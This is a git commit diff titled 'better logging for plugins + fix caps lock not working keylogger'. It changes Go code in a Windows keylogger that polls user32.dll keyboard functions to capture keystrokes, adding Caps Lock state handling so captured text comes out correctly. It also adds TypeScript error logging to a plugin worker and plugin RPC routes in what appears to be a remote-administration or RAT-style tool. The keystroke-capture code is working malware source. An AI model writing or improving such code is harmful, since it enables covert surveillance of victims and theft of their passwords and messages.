better logging for plugins + fix caps lock not working keylogger
This commit is contained in:
@@ -16,6 +16,7 @@ import (
|
|||||||
var (
|
var (
|
||||||
user32 = syscall.NewLazyDLL("user32.dll")
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||||
|
procGetKeyState = user32.NewProc("GetKeyState")
|
||||||
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||||
procToUnicode = user32.NewProc("ToUnicode")
|
procToUnicode = user32.NewProc("ToUnicode")
|
||||||
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
|
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
|
||||||
@@ -118,6 +119,13 @@ func getKeyString(vk int) string {
|
|||||||
kbState[VK_MENU] &^= 0x80
|
kbState[VK_MENU] &^= 0x80
|
||||||
}
|
}
|
||||||
|
|
||||||
|
capsOn := (getKeyState(VK_CAPITAL) & 0x0001) != 0
|
||||||
|
if capsOn {
|
||||||
|
kbState[VK_CAPITAL] |= 0x01
|
||||||
|
} else {
|
||||||
|
kbState[VK_CAPITAL] &^= 0x01
|
||||||
|
}
|
||||||
|
|
||||||
if ctrlDown || altDown {
|
if ctrlDown || altDown {
|
||||||
base := keyNameForCombo(vk)
|
base := keyNameForCombo(vk)
|
||||||
if base != "" {
|
if base != "" {
|
||||||
@@ -221,6 +229,11 @@ func getAsyncKeyState(vk int) uint16 {
|
|||||||
return uint16(ret)
|
return uint16(ret)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func getKeyState(vk int) uint16 {
|
||||||
|
ret, _, _ := procGetKeyState.Call(uintptr(vk))
|
||||||
|
return uint16(ret)
|
||||||
|
}
|
||||||
|
|
||||||
func keyNameForCombo(vk int) string {
|
func keyNameForCombo(vk int) string {
|
||||||
// Letters
|
// Letters
|
||||||
if vk >= 0x41 && vk <= 0x5A {
|
if vk >= 0x41 && vk <= 0x5A {
|
||||||
|
|||||||
@@ -111,6 +111,8 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
|||||||
send({ type: "rpc_reply", id: msg.id, ok: true, result: result ?? null });
|
send({ type: "rpc_reply", id: msg.id, ok: true, result: result ?? null });
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
const error = err instanceof Error ? err.message : String(err);
|
const error = err instanceof Error ? err.message : String(err);
|
||||||
|
const stack = err instanceof Error ? err.stack || "" : "";
|
||||||
|
console.error(`[plugin-worker] RPC ${msg.method} error: ${error}`, stack);
|
||||||
send({ type: "rpc_reply", id: msg.id, ok: false, error });
|
send({ type: "rpc_reply", id: msg.id, ok: false, error });
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -953,6 +953,7 @@ export async function handlePluginRoutes(
|
|||||||
metrics.recordCommand("plugin_rpc");
|
metrics.recordCommand("plugin_rpc");
|
||||||
return Response.json({ ok: true, result });
|
return Response.json({ ok: true, result });
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
|
console.error(`[plugin:${pluginId}] RPC ${method} error:`, (err as Error).message, (err as Error).stack || "");
|
||||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 500 });
|
return Response.json({ ok: false, error: (err as Error).message }, { status: 500 });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user